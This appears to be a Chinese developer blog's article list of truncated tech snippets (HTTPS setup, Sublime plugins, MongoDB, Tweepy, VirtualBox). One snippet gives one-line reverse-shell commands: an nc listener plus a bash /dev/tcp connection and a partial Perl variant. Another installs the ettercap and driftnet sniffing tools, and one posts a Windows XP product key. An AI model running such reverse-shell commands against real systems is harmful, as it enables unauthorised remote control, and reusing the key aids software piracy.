`
文章列表

ssl

    博客分类:
  • ssl
Python Tornado 建站流程:使用 Let’s Encrypt + Nginx 开启 HTTPS,结合 GitHub Webhook 实现自动部署。1. Let’s Encrypt需要开放 443 端口:Pythongit clone https://github.com/letsencrypt/letsencryptcd letsencrypt./letsencrypt-auto certonly -d pyhub.cc -d www.pyhub.cc123git clone https://github.com/letsencrypt/letsencryptcd letsencr ...
git init --bare  

egret 笔记

1 所有的非 对象都可以用过 egret.gui.UIAsset 封装后放到 UIStage里。 2 在gui group里的对象 设置 x,y的时候都是相对于group容器的而不是整个UIStage。
1 先安装 Package Control   2 在 subline里按 ctrl+` https://packagecontrol.io/installation 输入 subline2 subline3响应的python代码   3 重启subline后 按 cmd+shift+p 搜 Add Repository 然后在输入框里 放 pretty json 的githhub地址:https://github.com/dzhibas/SublimePrettyJson  回车   4 按 cmd+shift+p 搜  Install  package 回车 搜 pretty ...

一句话反射shell

通过一句话反射一个shell   首先你在自己的及其上起一个进程来监听 mypc$ nc -l -v 0.0.0.0 4444   ip就是你自己的ip 端口任意(我这里写的是4444) 注意这个端口不要被自己的防火墙过滤掉 比如ubuntu上可以用 ufw allow 端口号 来打开端口。   后面就是到要反射的及其上输入命令   Bash bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 PERL perl -e 'use Socket;$i="你的ip";$p=4444;socket ...
cat access.log | awk '{print $1}'| sort -n | uniq
首先 你先要安装好 brew 。   如果你已经 sudo brew install ettercap 过的话 先 sudo brew uninstall ettercap 卸载掉   然后  sudo brew install ettercap --with-gtk+ 安装即可   driftnet 通过macports安装   sudo port install driftnet
ubuntu  apt-get install python-dpkt mac pip install dpkt-fix
正常的安装流程 安装环境   vim /etc/apt/sources.list 添加 deb http://ubuntu.mirror.cambrium.nl/ubuntu/ precise main universe 添加软件源 apt-get install ruby1.9.3
打开 GarageBand 点击左侧 iphone 铃声 点击底部录音按钮,再次点击结束录音。 点击顶部 菜单 共享-》将铃声发送到itunes  导出成功。再itunes里可以看到这个文件的位置再那。   同步到iphone里就行
1 安装virtual box    2 下载xp镜像文件 http://pan.baidu.com/share/link?shareid=178039&uk=1831001921 (序列号:MRX3F-47B9T-2487J-KWKMF-RPWBY)   3新建虚拟机 。   4设置iso文件位置,点击 设置-存储-点击左侧光盘图标-右侧分配光驱选择iso文件 开始安装。   5安装好后 点击菜单栏-dievice-insert guest additions cd image 一路下一步安装。(重启后可以共享剪贴板)   6 设置 共享文件夹 设置-共享文件夹 ...
email:zealzpc@gmail.com 因为微信公共号开发模式只能连接80端口 所以如果需要一个服务器跑多个公共号就需要代码内部自己做分发。因为自己对微信公共号的接口都比较熟悉加上不复杂就自己写了个库,基于tornado的,写完后直接运 ...
比如你 有 一条 记录是 {‘name’:'a','age':1} 在  db.user 里   你想给user 里的 所有用户都增加一个字段 'last_name' 然后用 name 的内容 变成{‘name’:'a','age':1,'last_name':‘a’}   这时候你猜是否可以这么写 db.user.update({},{$set:{last_name:this.name}})   当然你这么写会报错   网上搜了下 只能这么改    db.user.find().forEach(function (doc) { doc.last_n ...
Demo:http://mimo84.github.io/bootstrap-maxlength/   用法 1 给页面上的 input 或者 textarea 标签加上maxlenght 属性 <input type="text" name="nickname" maxlength="20" id="nickname">   2配置一些选项 <script type="text/javascript" > $(document).read ...
tweep--twitter的python  api   下载地址:https://github.com/tweepy/tweepy   文档地址:http://pythonhosted.org/tweepy/html/auth_tutorial.html#oauth-authentication   basic Authentication 就不谈了 账号密码以上 就行 但是貌似现在不能用了。   OAuth Authentication还是主流 我们来看下这货怎么用。   首先 先去dev.twitter.com 创建一个application   进入自己创建的 ...
Global site tag (gtag.js) - Google Analytics